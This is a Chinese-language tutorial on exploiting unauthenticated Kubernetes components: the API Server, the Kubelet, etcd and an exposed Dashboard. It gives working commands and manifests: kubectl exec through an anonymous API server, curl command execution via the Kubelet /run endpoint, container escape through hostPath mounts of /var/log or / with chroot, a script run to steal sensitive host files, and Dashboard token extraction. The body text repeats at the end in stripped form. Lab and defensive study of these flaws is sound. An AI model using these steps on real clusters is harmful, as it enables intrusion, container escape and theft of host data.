K8s下的未授权及利用
字数 1604 2025-08-18 11:36:53

Kubernetes未授权访问漏洞及利用详解

一、Kubernetes未授权访问概述

Kubernetes(K8s)作为流行的容器编排系统,存在多种未授权访问风险,主要包括:

  1. API Server未授权访问(8080/6443端口)
  2. Kubelet未授权访问(10250端口)
  3. etcd未授权访问(2379端口)
  4. Dashboard面板泄露

二、API Server未授权访问(8080/6443端口)

1. 漏洞原理

K8s的API Server默认服务端口:

  • 8080端口(insecure-port):提供HTTP服务,默认无认证授权机制
  • 6443端口(secure-port):提供HTTPS服务,支持认证授权

默认情况下8080端口关闭,6443端口开启。配置取决于/etc/kubernetes/manifests/kube-apiserver.yaml文件。

2. 漏洞复现

8080端口未授权

  1. 修改配置文件:
vim /etc/kubernetes/manifests/kube-apiserver.yaml
  1. 重启K8s:
systemctl restart kubectl
  1. 访问8080端口验证未授权

6443端口未授权

配置错误可能导致6443端口未授权,如将system:anonymous用户绑定到cluster-admin用户组:

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

3. 漏洞利用

使用kubectl命令执行操作:

# 查看集群信息
kubectl -s http://<IP>:8080 cluster-info

# 查看节点和Pod信息
kubectl -s http://<IP>:8080 get nodes
kubectl -s http://<IP>:8080 get pods

# 查看详细信息
kubectl -s http://<IP>:8080 get nodes -o wide
kubectl -s http://<IP>:8080 get pods -o wide

# 进入Pod执行命令
kubectl -s http://<IP>:8080 exec -n default -it <pod-name> -- /bin/bash

4. 容器逃逸技术

通过挂载/var/log目录逃逸的原理:

  1. 自定义服务账户:在Pod中通过serviceAccountName指定自定义服务账户
  2. 授予宿主机目录权限:使用ClusterRole和ClusterRoleBinding为服务账户授权
  3. 挂载宿主机目录:通过hostPath类型的Volume挂载宿主机目录
  4. 访问宿主机日志文件:通过挂载路径访问宿主机文件
  5. 容器逃逸:实现从Pod到宿主机的逃逸

关键概念:

  • RBAC:基于角色的访问控制
    • Role:定义命名空间内允许的操作
    • RoleBinding:将角色与用户/组/服务账户绑定
    • ClusterRole:全局权限定义
    • ClusterRoleBinding:全局角色绑定
  • 服务账户(ServiceAccount):表示Pod内部应用程序身份
  • 卷挂载(Volume Mounting):将存储卷附加到Pod中

实验环境搭建:

git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log

手动创建Pod配置(mount-var-log.yaml):

apiVersion: v1
kind: ServiceAccount
metadata:
  name: logger

---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: user-log-reader
rules:
- apiGroups: [""]
  resources: ["nodes/log"]
  verbs: ["get", "list", "watch"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: user-log-reader
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: user-log-reader
subjects:
- kind: ServiceAccount
  name: logger
  namespace: default

---
apiVersion: v1
kind: Pod
metadata:
  name: escaper
spec:
  serviceAccountName: logger
  containers:
  - name: escaper
    image: danielsagi/kube-pod-escape
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory

漏洞检测:

find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."

漏洞利用:

  1. 进入容器:
kubectl get pods
kubectl exec --stdin --tty escaper -- /bin/bash
  1. 创建软链接:
cd /var/log/host
ln -s / ./root_link
  1. 使用脚本窃取敏感文件:
chmod 777 find_sensitive_files.py
python find_sensitive_files.py

5. 判断是否处于K8s环境

# 查看磁盘信息
df -h

# 查看环境变量
env

三、Kubelet未授权访问(10250端口)

1. 漏洞原理

10250端口是Kubelet的默认端口,负责管理节点上的容器和Pod。默认配置中--anonymous-auth为true时允许匿名访问。

2. 漏洞利用

通过curl执行命令:

curl -XPOST -k "https://<IP>:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command>"

参数说明:

  1. namespace:命名空间
  2. pod:Pod名称
  3. container:容器名称

四、etcd未授权访问(2379端口)

1. 漏洞原理

2379端口用于客户端与etcd通信,默认配置中本地(127.0.0.1)可免认证访问,其他地址需要认证。

2. 注意事项

默认配置2379只监听127.0.0.1,实战中较少遇到。

五、Dashboard面板泄露

1. 安装Dashboard

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
kubectl apply -f recommended.yaml

2. 创建管理员角色

dashboard-svc-account.yaml:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: dashboard-admin
  namespace: kube-system

---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: dashboard-admin
subjects:
- kind: ServiceAccount
  name: dashboard-admin
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

应用配置:

kubectl apply -f dashboard-svc-account.yaml

3. 获取token

kubectl get secrets -n kube-system | grep dashboard-admin
kubectl describe secret dashboard-admin-token-xxxxx -n kube-system

4. 通过Dashboard创建Pod挂载宿主机目录

Pod配置示例:

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

逃逸方法:

chroot /mnt

六、常见kubectl命令总结

kubectl get pods # 查询Pod
kubectl get pods -n namespace # 查询指定命名空间的Pod
kubectl get pods --all-namespaces # 查询所有命名空间的Pod
kubectl describe pod pod-name # 查询Pod详细信息
kubectl get serviceaccount # 查询服务账户
kubectl create serviceaccount account-name # 创建服务账户
kubectl config view # 打印kubeconfig配置
kubectl get rolebinding -n namespace # 查看RBAC权限设置
kubectl describe role role-name -n namespace # 查看角色绑定规则
kubectl exec -it pod-name -c container-name -- /bin/bash # 进入容器
kubectl cp pod-name:container-path local-path # 从容器复制文件
kubectl get deployment # 查询Deployment
kubectl scale deployment deployment-name --replicas=3 # 扩缩容
kubectl rollout restart deployment deployment-name # 重启Deployment
kubectl apply -f file.yaml # 应用YAML配置

七、总结思维图

(此处应插入总结思维图,展示各漏洞类型、端口、利用方法之间的关系)

八、参考链接

  1. K8s API Server未授权命令执行
  2. Kubernetes Dashboard部署
  3. K8S各种未授权攻击方法
  4. Kubernetes安全
  5. K8S学习笔记
  6. k8s serviceAccount授权和认证机制
Kubernetes未授权访问漏洞及利用详解 一、Kubernetes未授权访问概述 Kubernetes(K8s)作为流行的容器编排系统,存在多种未授权访问风险,主要包括: API Server未授权访问(8080/6443端口) Kubelet未授权访问(10250端口) etcd未授权访问(2379端口) Dashboard面板泄露 二、API Server未授权访问(8080/6443端口) 1. 漏洞原理 K8s的API Server默认服务端口: 8080端口(insecure-port):提供HTTP服务,默认无认证授权机制 6443端口(secure-port):提供HTTPS服务,支持认证授权 默认情况下8080端口关闭,6443端口开启。配置取决于 /etc/kubernetes/manifests/kube-apiserver.yaml 文件。 2. 漏洞复现 8080端口未授权 修改配置文件: 重启K8s: 访问8080端口验证未授权 6443端口未授权 配置错误可能导致6443端口未授权,如将 system:anonymous 用户绑定到 cluster-admin 用户组: 3. 漏洞利用 使用kubectl命令执行操作: 4. 容器逃逸技术 通过挂载 /var/log 目录逃逸的原理: 自定义服务账户:在Pod中通过 serviceAccountName 指定自定义服务账户 授予宿主机目录权限:使用ClusterRole和ClusterRoleBinding为服务账户授权 挂载宿主机目录:通过hostPath类型的Volume挂载宿主机目录 访问宿主机日志文件:通过挂载路径访问宿主机文件 容器逃逸:实现从Pod到宿主机的逃逸 关键概念: RBAC :基于角色的访问控制 Role:定义命名空间内允许的操作 RoleBinding:将角色与用户/组/服务账户绑定 ClusterRole:全局权限定义 ClusterRoleBinding:全局角色绑定 服务账户(ServiceAccount) :表示Pod内部应用程序身份 卷挂载(Volume Mounting) :将存储卷附加到Pod中 实验环境搭建: 手动创建Pod配置(mount-var-log.yaml): 漏洞检测: 漏洞利用: 进入容器: 创建软链接: 使用脚本窃取敏感文件: 5. 判断是否处于K8s环境 三、Kubelet未授权访问(10250端口) 1. 漏洞原理 10250端口是Kubelet的默认端口,负责管理节点上的容器和Pod。默认配置中 --anonymous-auth 为true时允许匿名访问。 2. 漏洞利用 通过curl执行命令: 参数说明: namespace:命名空间 pod:Pod名称 container:容器名称 四、etcd未授权访问(2379端口) 1. 漏洞原理 2379端口用于客户端与etcd通信,默认配置中本地(127.0.0.1)可免认证访问,其他地址需要认证。 2. 注意事项 默认配置2379只监听127.0.0.1,实战中较少遇到。 五、Dashboard面板泄露 1. 安装Dashboard 2. 创建管理员角色 dashboard-svc-account.yaml: 应用配置: 3. 获取token 4. 通过Dashboard创建Pod挂载宿主机目录 Pod配置示例: 逃逸方法: 六、常见kubectl命令总结 七、总结思维图 (此处应插入总结思维图,展示各漏洞类型、端口、利用方法之间的关系) 八、参考链接 K8s API Server未授权命令执行 Kubernetes Dashboard部署 K8S各种未授权攻击方法 Kubernetes安全 K8S学习笔记 k8s serviceAccount授权和认证机制